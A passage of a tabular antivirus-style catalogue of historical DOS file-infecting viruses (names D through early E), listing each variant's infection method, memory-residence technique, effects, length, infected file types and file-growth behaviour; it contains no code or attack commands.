¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Danish.163 ¦FIND¦ - ¦ - ¦163 ¦ .C ¦ e ¦ L ¦
¦Danish.284 ¦FIND¦ - ¦ - ¦284 ¦ .C * ¦ e ¦ L ¦
¦Danish.310 ¦FIND¦ - ¦ - ¦310 ¦ .C * ¦ e ¦ L ¦
¦.Kennedy ¦FIND¦ - ¦ V ¦333 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DarkElf.1800 ¦INT ¦MCB ¦ - ¦1800 ¦ .C.E&CE* ¦ e ¦ L ¦
¦DarkElf.2000 ¦INT ¦MCB ¦ - ¦2000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦DarkElf.2200 ¦INT ¦MCB ¦ - ¦2200 ¦ .C.E&CE* ¦ e ¦ L ¦
¦DarkElf.3692 ¦INT ¦MCB ¦ - ¦3692 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DarthVader.200 ¦INT ¦BUFF¦ H ¦200 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦DarthVader.255(3INT ¦BUFF¦ H ¦255 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦DarthVader.344(2INT ¦BUFF¦ H ¦344 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦DarthVader.409 ¦INT ¦BUFF¦ H ¦409 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Datacrime.1168(2FIND¦ - ¦ HV ¦1168 ¦ .C * ¦ e ¦ L ¦
¦Datacrime.1280(2FIND¦ - ¦ HV ¦1280 ¦ .C * ¦ e ¦ L ¦
¦Datacrime.1480 ¦FIND¦ - ¦ HV ¦1480 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Datacrime.1514 ¦FIND¦ - ¦ HV ¦1514 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DataLock.920(2)¦INT ¦MCB ¦ Ch ¦920 ¦ CE * ¦ e ¦ L ¦
¦DataLock.1043 ¦INT ¦MCB ¦ H ¦1043 ¦ CE * ¦ e ¦ L ¦
¦DataLock.1150 ¦INT ¦MCB ¦ HV ¦1150 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Day14.789 ¦FIND¦ - ¦ H ¦789 ¦ .E&E * ¦ e ¦ L+p ¦
¦Day14.792 ¦FIND¦ - ¦ H ¦792 ¦ .E&E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dead.790 ¦INT ¦MCB ¦ H ¦790 ¦ .C&C ¦ e ¦ L ¦
¦Dead.852 ¦INT ¦MCB ¦ S ¦852 ¦ .E&E ¦ e ¦ L+p ¦
¦Dead.945 ¦INT ¦MCB ¦ - ¦945 ¦ CE+boot ¦ e ¦ L+p ¦
¦Dead.1362 ¦INT ¦MCB ¦ HEr¦1362 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Dead.1364 ¦INT ¦MCB ¦ H ¦1364 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DEI.1456 ¦INT ¦MCB ¦ V ¦1456 ¦ CE * ¦ e ¦ L ¦
¦DEI.1526 ¦INT ¦MCB ¦ V ¦1526 ¦ CE * ¦ e ¦ L ¦
¦DEI.1634 ¦INT ¦MCB ¦ V ¦1634 ¦ CE * ¦ e ¦ L ¦
¦DEI.1792 ¦INT ¦MCB ¦ V ¦1792 ¦ CE * ¦ e ¦ L ¦
¦DEI.1948 ¦INT ¦MCB ¦ HV ¦1948 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Demon.4313 ¦INT ¦MCB ¦ Er ¦4313 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Demon.4767 ¦INT ¦MCB ¦ V ¦4767 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Demon.5670 ¦INT ¦MCB ¦ V ¦5670 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Demonhyak.272 ¦FIND¦ - ¦ HV ¦272 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Demonhyak.284 ¦FIND¦ - ¦ HV ¦284 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dennis.539 ¦INT ¦MCB ¦ - ¦539 ¦ E * ¦ e ¦ L ¦
¦Dennis.656 ¦INT ¦MCB ¦ Ch ¦656 ¦ E * ¦ e ¦ L ¦
¦Dennis.689 ¦INT ¦MCB ¦ Ch ¦689 ¦ E * ¦ e ¦ L ¦
¦Dennis.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Destructor.264 ¦FIND¦ - ¦ V ¦264 ¦ .C * ¦ e ¦ L ¦
¦Destructor.1150¦INT ¦MCB ¦ - ¦1150 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Diamond.1024(2)¦INT ¦MCB ¦ VEr¦1024 ¦ CE * ¦ e ¦ L ¦
¦Diamond.1399 ¦INT ¦MCB ¦ V ¦1399 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦.David ¦INT ¦MCB ¦ HV ¦1173 ¦ CE ¦ e ¦ L ¦
¦.RockSteady ¦INT ¦MCB ¦ H ¦666 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Die.352 ¦INT ¦MCB ¦ - ¦352 ¦ C ¦ e ¦ L ¦
¦Die.385 ¦INT ¦MCB ¦ Er ¦385 ¦ CE * ¦ e ¦ L ¦
¦Die.487 ¦INT ¦MCB ¦ V ¦385 ¦ C ¦ e ¦ L ¦
¦Die.666 ¦INT ¦MCB ¦ V ¦666 ¦ CE * ¦ e ¦ L ¦
¦Die.800 ¦INT ¦MCB ¦ V ¦800 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Digger.600 ¦INT ¦ADDR¦ V ¦600 ¦ C * ¦ e ¦ L ¦
¦Digger.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ C * ¦ i ¦ L ¦
¦Digger.1475 (2)¦FIND¦ - ¦ V ¦1475 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Digger.1512 ¦FIND¦ - ¦ V ¦1800 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Digger.1800 ¦FIND¦ - ¦ V ¦1800 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dima.325 ¦INT ¦MCB ¦ - ¦325 ¦ C * ¦ e ¦ L ¦
¦Dima.1024 ¦FIND¦ - ¦ V ¦1024 ¦ .C.E ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dinky.64 ¦INT ¦INTB¦ - ¦64 ¦ C ¦ s ¦ L ¦
¦Dinky.65 ¦INT ¦INTB¦ - ¦65 ¦ C ¦ s ¦ L ¦
¦Dinky.66 ¦INT ¦INTB¦ - ¦66 ¦ C ¦ s ¦ L ¦
¦Dinky.80 ¦INT ¦INTB¦ - ¦80 ¦ .C ¦ s ¦ L ¦
¦Dinky.86 ¦INT ¦INTB¦ - ¦86 ¦ .C ¦ s ¦ L ¦
¦Dinky.122 ¦INT ¦DOSD¦ - ¦122 ¦ C ¦ e ¦ L ¦
¦Dinky.126 ¦INT ¦DOSD¦ - ¦126 ¦ C ¦ e ¦ L ¦
¦Dinky.128 ¦INT ¦DOSD¦ - ¦128 ¦ C ¦ e ¦ L ¦
¦Dinky.132 ¦INT ¦DOSD¦ - ¦132 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dir-II (10)¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 ¦
¦Dir-II.2048 ¦INT ¦MCB ¦ - ¦2048 ¦ .C.E ¦ s ¦ 0 ¦
¦.Hippies ¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 ¦
¦.Dragon (2)¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 ¦
¦.KillDll ¦INT ¦MCB ¦ H ¦1024 ¦ .C.E * ¦ s ¦ 0 ¦
¦.October (2)¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 ¦
¦.TheHndV ¦INT ¦MCB ¦ VS ¦2048 ¦ .C.E * ¦ s ¦ 0 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DM.310 ¦INT ¦INTB¦ - ¦310 ¦ .C * ¦ e ¦ L ¦
¦DM.330 ¦INT ¦INTB¦ - ¦330 ¦ .C * ¦ e ¦ L ¦
¦DM.400 (3)¦INT ¦INTB¦ H ¦400 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dobkin.91 ¦FIND¦ - ¦ H ¦91 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Dobkin.177 ¦FIND¦ - ¦ H ¦177 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Doodle.1049 ¦INT ¦MCB ¦ - ¦1049 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.1760 ¦INT ¦MCB ¦ S ¦1760 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.1805 ¦INT ¦MCB ¦ S ¦1805 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.1909 ¦INT ¦MCB ¦ S ¦1909 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.2568 ¦INT ¦MCB ¦ S ¦2568 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.2680 ¦INT ¦MCB ¦ S ¦2680 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.2756 ¦INT ¦MCB ¦ S ¦2756 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.2772 ¦INT ¦MCB ¦ S ¦2772 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.2885 ¦INT ¦MCB ¦ S ¦2885 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.2901 ¦INT ¦MCB ¦ S ¦2901 ¦ CE ¦ e ¦ L+p ¦
¦Doodle.2932 ¦INT ¦MCB ¦ S ¦2932 ¦ CE ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Doom.666 ¦INT ¦MCB ¦ - ¦666 ¦ E * ¦ e ¦ L ¦
¦Doom.752 ¦FIND¦ - ¦ HV ¦752 ¦ .C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DOS-1.184 ¦FIND¦ - ¦ - ¦184 ¦ .C * ¦ e ¦ L ¦
¦DOS-1.185 ¦FIND¦ - ¦ - ¦185 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dos7.342 ¦FIND¦ - ¦ - ¦342 ¦ .C ¦ s ¦ L ¦
¦Dos7.376 ¦FIND¦ - ¦ - ¦376 ¦ .C ¦ s ¦ L ¦
¦Dos7.419 ¦FIND¦ - ¦ - ¦419 ¦ .C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dotter.3961 ¦INT ¦MCB ¦ V ¦3961 ¦ E * ¦ e ¦ L+p ¦
¦Dotter.4611 ¦INT ¦MCB ¦ V ¦4611 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dre.192 ¦FIND¦ - ¦ H ¦192 ¦ .E * ¦ s ¦ 0, overwrite ¦
¦Dre.494 ¦FIND¦ - ¦ - ¦494 ¦ .C&C ¦ e ¦ L ¦
¦Dre.756 ¦FIND¦ - ¦ H ¦756 ¦ .C * ¦CeEs ¦ C-L, E-overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dread.774 ¦FIND¦ - ¦ V ¦774 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Dread.2163 ¦INT ¦MCB ¦ - ¦2163 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dron.995 ¦INT ¦MCB ¦ V ¦995 ¦ E * ¦ e ¦ L+p ¦
¦Dron.1024 ¦INT ¦MCB ¦ V ¦1024 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DrWhite.1027 ¦INT ¦MCB ¦ - ¦1027 ¦ .C&C+boot*¦ e ¦ L ¦
¦DrWhite.2403 ¦INT ¦MCB ¦ - ¦2403 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DSCE.Demo ¦INT ¦KEEP¦ - ¦2957 ¦ CE * ¦ e ¦ L+? ¦
¦.Mdak ¦INT ¦KEEP¦ - ¦2941 ¦ CE * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DSME.Apex ¦INT ¦FIND¦ V ¦2685 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Connie.1761 ¦INT ¦MCB ¦ - ¦1761 ¦ .C&C * ¦ e ¦ L ¦
¦.Connie.2708 ¦INT ¦MCB ¦ - ¦2708 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Teacher.3197 ¦INT ¦KEEP¦ - ¦3197 ¦ CE * ¦ e ¦ L+p+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dsu.1414 ¦INT ¦MCB ¦ Ch ¦1414 ¦ .C.E&CE* ¦ e ¦ L ¦
¦DSU.1422 ¦INT ¦MCB ¦ V ¦1422 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dva.445 ¦FIND¦ - ¦ - ¦445 ¦ .C * ¦ e ¦ L ¦
¦Dva.749 ¦FIND¦ - ¦ V ¦749 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dalien.1052 ¦INFI¦MCB ¦ Er ¦1052 ¦ .C * ¦ e ¦ L+p ¦
¦Danny.862 ¦INT ¦MCB ¦ V ¦862 ¦ C * ¦ e ¦ L ¦
¦DarkAngel.3250 ¦INT ¦MCB ¦ H ¦3250 ¦ .C.E&CE* ¦ e ¦ L ¦
¦DarkLord.1085 ¦INT ¦MCB ¦ Er ¦1085 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Darkness.1125 ¦FIND¦ - ¦ HV ¦1125 ¦ .C&C * ¦ e ¦ L ¦
¦DarkRevenge.1032INT ¦KEEP¦ Ch ¦1032 ¦ C * ¦ e ¦ L+p ¦
¦Darv.1024 ¦FIND¦ - ¦ V ¦1024 ¦ .E&E * ¦ e ¦ L ¦
¦Dbec.990 ¦FIND¦ - ¦ H ¦990 ¦ .C.E&CE ¦ e ¦ L+p ¦
¦Debilas.2000 ¦INT ¦MCB ¦HVS ¦2000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Deicide.520 ¦INT ¦MCB ¦ Ch ¦520 ¦ C * ¦ e ¦ L ¦
¦Delta.1163 ¦INT ¦MCB ¦ V ¦1163 ¦ .C.E ¦ e ¦ L ¦
¦Dementia.4207 ¦INT ¦MCB ¦ V ¦4207 ¦ CE ¦ e ¦ L+p ¦
¦Demiurg.3061 ¦INT ¦MCB ¦ HEr¦3061 ¦ CE+boot*¦ e ¦ L ¦
¦Democracy.3806 ¦INT ¦MCB ¦ V ¦3806 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Destage.1200 ¦INT ¦MCB ¦ - ¦1200 ¦ E+boot* ¦ e ¦ L ¦
¦Device.2000 ¦INFI¦MCB ¦ Er ¦2000 ¦ .E.S&ES* ¦EeSs ¦ L ¦
¦DHeart.452 ¦FIND¦ - ¦ V ¦452 ¦ .E&E * ¦ e ¦ L+p ¦
¦Dicker.400 ¦INT ¦KEEP¦ Er ¦400 ¦ C * ¦ s ¦ L ¦
¦DieLamer.1090 ¦INT ¦MCB ¦ H ¦1090 ¦ .E&E * ¦ e ¦ L+p ¦
¦Digital.3547 ¦INT ¦MCB ¦ HVS¦3547 ¦ CE * ¦ e ¦ L ¦
¦Dir.691 ¦INT ¦KEEP¦ - ¦691 ¦ C * ¦ e ¦ L ¦
¦DiS.1024 ¦INT ¦MCB ¦ HV ¦1024 ¦ E * ¦ e ¦ L+p+531 ¦
¦DiskSpoiler.1308FIND¦ - ¦ Ch ¦1308 ¦ .C&C * ¦ e ¦ L ¦
¦Djifx.2372 ¦INT ¦MCB ¦ Ch ¦2372 ¦ CE * ¦ e ¦ L+? ¦
¦Dma.1024 ¦INT ¦MCB ¦ChEr¦1024 ¦ E * ¦ e ¦ L ¦
¦Dmr.1200 (2)¦INT ¦MCB ¦ V ¦1200 ¦ E * ¦ e ¦ L+p ¦
¦Dnepr.377 ¦INT ¦INTB¦ VS ¦377 ¦ C * ¦ e ¦ L ¦
¦Donbass.444 ¦FIND¦ - ¦ - ¦444 ¦ .C&C * ¦ e ¦ L ¦
¦Doshunter.483 ¦INT ¦MCB ¦ VH ¦483 ¦ .C ¦ s ¦ L ¦
¦Dostepu.1920 ¦FIND¦ - ¦ Ch ¦1920 ¦ .C&C ¦ e ¦ L+? ¦
¦DotEater.944(3)¦FIND¦ - ¦ VS ¦944 ¦ .C * ¦ e ¦ L ¦
¦Dracula.1370 ¦INT ¦MCB ¦ HV ¦1370 ¦ .E * ¦ e ¦ L ¦
¦Dragon.414 ¦INT ¦INTB¦ - ¦414 ¦ .C&C * ¦ e ¦ L ¦
¦DrDemon.4292 ¦INT ¦MCB ¦ Er ¦4292 ¦ CE+boot* ¦ e ¦ L ¦
¦Dret.1710 ¦INT ¦MCB ¦ H ¦1710 ¦ .C.E&CE* ¦ e ¦ L ¦
¦DrJohn.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦DrS.678 ¦INT ¦MCB ¦ - ¦678 ¦ E * ¦ e ¦ L+p ¦
¦DrWatson.1503 ¦INT ¦KEEP¦ H ¦1503 ¦AUTOEXEC.BAT s ¦ - ¦
¦Dumb.4722 ¦INT ¦MCB ¦ V ¦4722 ¦ CE * ¦ e ¦ L+? ¦
¦Dupa.725 ¦INT ¦MCB ¦ - ¦725 ¦ E ¦ e ¦ L ¦
¦Dwbomk.607 ¦INT ¦MCB ¦ HV ¦607 ¦ C * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part E
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦EA.Asmodeous.882INT ¦MCB ¦ H ¦882 ¦ CE * ¦ e ¦ L ¦
¦.Asmodeous.1160¦INT ¦MCB ¦ H ¦1160 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Asmodeous.1343¦INT ¦MCB ¦ H ¦1343 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Asmodeous.1359¦INT ¦MCB ¦ H ¦1343 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Asmodeous.1444¦INT ¦MCB ¦HVEr¦1444 ¦ CE * ¦ e ¦ C-L+(0-15), E-L+p¦
¦.Asmodeous.1437¦INT ¦MCB ¦ H ¦1437 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Asmodeous.1450¦INT ¦MCB ¦ H ¦1450 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Asmodeous.1829¦INT ¦MCB ¦ H ¦1829 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Asmodeous.1833¦INT ¦MCB ¦ H ¦1833 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Birthday ¦INT ¦INTB¦ V ¦488 ¦ E * ¦ e ¦ L+p ¦
¦.Dictexe ¦INT ¦INTB¦ - ¦269 ¦ E * ¦ e ¦ L+p ¦
¦.Hs ¦INT ¦MCB ¦ H ¦1221 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦.Satana.665 ¦INT ¦INTB¦ H ¦665 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦.Satana.666 ¦INT ¦INTB¦ H ¦666 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ear.Leonardo ¦FIND¦ - ¦ HV ¦1207 ¦ .E&E * ¦ e ¦ L+(0-78) ¦
¦.Shame ¦FIND¦ - ¦ HV ¦1455 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ebola.3000 (3)¦INT ¦MCB ¦ V ¦3000 ¦ .E&E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Eddie.651 ¦INT ¦MCB ¦ - ¦651 ¦ CE * ¦ e ¦ L ¦
¦Eddie.1530 ¦INT ¦MCB ¦ Ch ¦1530 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Eddie.1800 (4)¦INT ¦MCB ¦ H ¦1800 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Eddie.2000 (3)¦INT ¦MCB ¦ H ¦2000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Eddie.2100 ¦INT ¦MCB ¦ H ¦2100 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Alexander.1843¦INT ¦MCB ¦ V ¦1843 ¦ CEO * ¦ e ¦ C-L, E-L+p ¦
¦.Alexander.1951¦INT ¦MCB ¦ V ¦1951 ¦ CEO * ¦ e ¦ C-L, E-L+p ¦
¦.Alexander.2104¦INT ¦MCB ¦ V ¦2104 ¦ CEO * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Eddy.1309 ¦INT ¦MCB ¦ - ¦1309 ¦ CE ¦ e ¦ L ¦
¦Eddy.1316 ¦INT ¦MCB ¦ - ¦1316 ¦ CE ¦ e ¦ L ¦
¦Eddy.1333 ¦INT ¦MCB ¦ - ¦1333 ¦ CE ¦ e ¦ L ¦
¦Eddy.1336 ¦INT ¦MCB ¦ - ¦1336 ¦ CE ¦ e ¦ L ¦
¦Eddy.1422 ¦INT ¦MCB ¦ HV ¦1422 ¦ CE * ¦ e ¦ L ¦
¦Eddy.1482 ¦INT ¦MCB ¦ - ¦1482 ¦ CE ¦ e ¦ L ¦
¦Eddy.1551 ¦INT ¦MCB ¦ - ¦1551 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Elcn.374 ¦FIND¦ - ¦ V ¦374 ¦ .C&C * ¦ s ¦ L ¦
¦Elcn.424 ¦FIND¦ - ¦ V ¦424 ¦ .C&C * ¦ s ¦ L ¦
¦Elcn.550 ¦FIND¦ - ¦ HV ¦550 ¦ .C&C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Eliza.1194 ¦FIND¦ - ¦ HV ¦1194 ¦ .C ¦ s ¦ L ¦
¦Eliza.1282 ¦FIND¦ - ¦ H ¦1282 ¦ .C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Emm.4870 (2)¦INT ¦MCB ¦ VEr¦4870 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Emm.4910 ¦INT ¦MCB ¦ V ¦4910 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Emm.5952 ¦INT ¦MCB ¦ V ¦5952 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.LionKing ¦INT ¦MCB ¦HVEr¦3531 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Emmie.2604 ¦INT ¦MCB ¦ HCh¦2604 ¦ C * ¦ i+e ¦ L ¦
¦Emmie.2620 ¦INT ¦MCB ¦ HCh¦2620 ¦ C * ¦ i+e ¦ L ¦
¦Emmie.2702 ¦INT ¦MCB ¦ HCh¦2702 ¦ C * ¦ i+e ¦ L ¦
¦Emmie.2823 ¦INT ¦MCB ¦ HCh¦2823 ¦ C * ¦ i+e ¦ L ¦
¦Emmie.3097 ¦INT ¦MCB ¦ HCh¦3097 ¦ C * ¦ i+e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Emperor ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦.FitW.7918 (2)¦INT ¦MCB ¦ HV ¦7918 ¦ CE+boot*¦ e ¦ L+? ¦
¦.Hare.7610 ¦INT ¦MCB ¦ HV ¦7610 ¦ CE+boot*¦ e ¦ L+89 ¦
¦.Hare.7750 ¦INT ¦MCB ¦ HV ¦7750 ¦ CE+boot*¦ e ¦ C-L+83, E-L+82 ¦
¦.Hare.7786 ¦INT ¦MCB ¦ HV ¦7786 ¦ CE+boot*¦ e ¦ C-L+83, E-L+82 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦EndOf.783 ¦INFI¦MCB ¦ - ¦783 ¦ C * ¦ e ¦ L ¦
¦EndOf.788 ¦INFI¦MCB ¦ - ¦788 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Evolution.2761 ¦INT ¦MCB ¦ HV ¦2761 ¦ E * ¦ e ¦ L ¦
¦Evolution.2770 ¦INT ¦MCB ¦ HV ¦2770 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦ExeHeader.192 ¦INT ¦KEEP¦ - ¦192 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.222 ¦INT ¦KEEP¦ - ¦222 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.223 ¦INT ¦INTB¦ - ¦223 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.277 ¦INT ¦MCB ¦ Er ¦277 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.313 ¦INT ¦MCB ¦ - ¦313 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.379 ¦INT ¦MCB ¦ - ¦379 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.388 ¦INT ¦MCB ¦ - ¦388 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.394 ¦INT ¦MCB ¦ - ¦394 ¦ E ¦ i ¦ 0, inserting ¦
¦ExeHeader.396 ¦INT ¦MCB ¦ H ¦396 ¦ E * ¦ i ¦ 0, inserting ¦
¦ExeHeader.3E ¦INT ¦INTB¦ Er ¦384 ¦ E * ¦ i ¦ 0, inserting ¦
¦ExeHeader.440 ¦INT ¦MCB ¦ V ¦440 ¦ E ¦ i ¦ 0, inserting ¦
¦.Andryushka (2)¦INT ¦MCB ¦ Er ¦384 ¦ E * ¦ i ¦ 0, inserting ¦
¦.AntiArj (2)¦INT ¦MCB ¦ H ¦333 ¦ E ¦ i ¦ 0, inserting ¦
¦.ATCorp ¦INT ¦INTB¦ - ¦363 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Clust (3)¦INT ¦MCB ¦ - ¦384 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Bob ¦INT ¦INTB¦ - ¦448 ¦ E ¦ i ¦ 0, inserting ¦
¦.Bosco (3)¦INT ¦MCB ¦ H ¦453 ¦ E ¦ i ¦ 0, inserting ¦
¦.Dina.271 ¦INT ¦INTB¦ - ¦271 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Dina.283 ¦INT ¦INTB¦ Er ¦283 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Dragon ¦INT ¦MCB ¦ - ¦400 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Em ¦INT ¦INTB¦ - ¦250 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Funked (3)¦INT ¦HMA ¦ - ¦425 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Gregory ¦INT ¦MCB ¦ - ¦406 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Hobbit ¦INT ¦MCB ¦ - ¦416 ¦ E * ¦ i ¦ 0, inserting ¦
¦.I03 ¦INT ¦INTB¦ - ¦326 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Kibina.390 ¦INT ¦BUFF¦ H ¦390 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Kibina.398 ¦INT ¦BUFF¦ H ¦398 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Louse ¦INT ¦MCB ¦ - ¦432 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Mike.252 ¦INT ¦INTB¦ - ¦252 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Mike.256 ¦INT ¦INTB¦ - ¦256 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Ming ¦INT ¦INTB¦ VEr¦359 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Nla ¦INT ¦MCB ¦ H ¦383 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Pure.427 ¦INT ¦MCB ¦ - ¦427 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Pure.441 (3)¦INT ¦MCB ¦ - ¦441 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Renegade (2)¦INT ¦INTB¦ - ¦416 ¦ E * ¦ i ¦ 0, inserting ¦
